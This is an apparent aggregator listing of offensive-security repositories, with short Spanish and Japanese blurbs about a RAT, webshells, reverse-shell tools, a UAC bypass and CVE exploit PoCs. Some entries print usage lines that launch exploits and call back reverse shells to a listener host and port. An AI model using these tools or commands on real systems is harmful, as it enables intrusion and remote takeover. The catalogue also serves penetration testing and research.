rat-shell

Troyano de acceso remoto RAT para Windows usando Sockets .NET Binarios cliente-servidor y código fuente para controlar una máquina remota detrás de un NAT con un shell de línea de comandos en Windows. Aunque el núcleo proporciona soporte para la comunicación con múltiples RAT, la interfaz de líne...

ntlm_relay_gat

NTLM Relay Gat Descripción NTLM Relay Gat es una herramienta potente diseñada para automatizar la explotación de retransmisiones NTLM utilizando ntlmrelayx.py del conjunto de herramientas Impacket. Al aprovechar las capacidades de ntlmrelayx.py, NTLM Relay Gat simplifica el proceso de explotación...

CVE-2024-2389

Progress Kemp Flowmon CVE-2024-2389 Descripción Este repositorio contiene un script en Python para explotar una vulnerabilidad en Flowmon que permite obtener una reverse shell en el sistema objetivo. El exploit aprovecha una falla en el endpoint service.pdfs/confluence para ejecutar comandos...

webshell

webshell | English | Türkiye Este es un proyecto de recopilación de webshells. Quien da una rosa se queda con el aroma en la mano; si descargan este proyecto, por favor, envíen también shells. Este proyecto incluye varios scripts de uso común. como: asp, aspx, php, jsp, pl, py Si envían webshells...

CVE-2021-21315

Código de exploit para CVE-2021-21315 escrito en Rust Soy novato en Rust, así que este código fue parte de mis prácticas con RustLang ¡¡Sí!! Consigamos la reverse shell!!!!!!!!!! ! solo para educación o investigación Compilación root@kitploit: cargo build Uso root@kitploit: ./exploit ./exploit...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 Remote Code Execution ⚠️ Disclaimer This repository is intended strictly for educational and research purposes only. The information and code provided here can be used in controlled environments , such as private lab machines. Unauthorized use of this code...

xc

XC Reverse shell similar a Netcat para Linux y Windows. Características Windows root@kitploit: Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd list...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Arbitrary File Upload CVE-2015-6967 requirements python 3 requests usage root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL...

mediator

Mediatorは、オペレーターとシェルが接続をブリッジする「mediator」サーバーに接続する、エンドツーエンド暗号化されたリバースシェルです。これにより、オペレーター/ハンドラーが接続を待ち受けるためにポートフォワーディングを設定する必要がなくなります。Mediatorでは、リバースシェルの機能を拡張するプラグインを作成することもできます。 Mediatorのスクリプトはスタンドアロンの実行可能ファイルとして実行することも、他のペネトレーションテストやインシデントレスポンスツールに統合するためにインポートすることもできます。 アーキテクチャ:...

DccwBypassUAC

DccwBypassUAC Este exploit abusa de la forma en que "WinSxS" es gestionado por "dccw.exe" mediante un método derivado del "Bypass UAC" de Leo Davidson para obtener un shell de administrador sin solicitar consentimiento. Es compatible con las arquitecturas "x86" y "x64". Además, ha sido probado co...

CVE-2022-26134_Behinder_MemShell

CVE-2022-26134BehinderMemShell Dirección del proyecto original: https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL Modificado para conectar el shell de memoria Behinder java -jar CVE-2022-26134BehinderMemShell.jar http://192.168.0.193:8090/ password123...

webhandler

WebHandler Un manejador para las funciones de sistema de PHP y también una alternativa al manejador 'netcat' Información WebHandler intenta simular un 'prompt bash de Linux' para manejar y procesar: root@kitploit: - Funciones de ejecución de programas PHP p. ej., system, passthru, exec, etc. -...

CVE-2019-17558_Solr_Vul_Tool

Herramienta de detección de vulnerabilidad de inyección de plantillas Velocity en Solr Introducción A finales de octubre de 2019 se reveló la vulnerabilidad de ejecución remota de comandos por inyección de plantillas Velocity en Solr. La detección manual de esta vulnerabilidad requiere usar Burp...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Ejecución remota de código no autenticada https://vulners.com/cve/CVE-2022-24637 Ejemplo root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS Command Injection PoC Description This repository contains a Proof of Concept PoC for CVE-2026-40176 , a critical OS Command Injection vulnerability discovered in Composer 's Perforce VCS driver versions prior to 2.2.27 and 2.9.6. The vulnerability exists in t...

CVE-2011-2523

CVE-2011-2523 - Exploit de vsftpd 2.3.4 Descripción Very Secure FTP Daemon vsftpd es un servidor FTP para plataformas tipo Unix, incluyendo Linux. Se distribuye bajo los términos de la Licencia Pública General de GNU. Soporta IPv6 así como SSL. En julio de 2011 se reveló que la versión 2.3.4 de...

postshell

PostShell PostShell es un shell de post-explotación que incluye tanto un shell bind como un shell de conexión inversa. Crea un TTY completamente interactivo que permite el control de trabajos. El tamaño del stub es de aproximadamente 14 kb y se puede compilar en cualquier sistema similar a Unix...

hikvision-unauthenticated-rce-cve-2021-36260

Hikvision CVE-2021-36260 RCE Vulnerability Vulnerability Description An attacker can use this vulnerability to gain complete control of the device with an unrestricted root shell, even if the device owner is limited to a restricted protected shell psh. In addition to compromising IP cameras, they...

CVE-2026-4480-POC

CVE-2026-4480 - Samba Printing Subsystem Remote Code Execution Overview Proof-of-concept and research material related to CVE-2026-4480 , a critical Remote Code Execution RCE vulnerability affecting the Samba printing subsystem. The vulnerability is caused by improper handling of user-controlled...

webmin_cve-2019-12840_poc

webmincve-2019-12840poc Un POC independiente para CVE-2019-12840. A continuación, enviará una reverse shell en el puerto 443 root@kitploit: $ python3 CVE-2019-12840.py -u https://192.168.122.10 -U matt -P Secret123 -lhost 192.168.122.1 -lport 443 / \ \ / / | | \ / / |/ \ / | \ / | || | / \ | | ...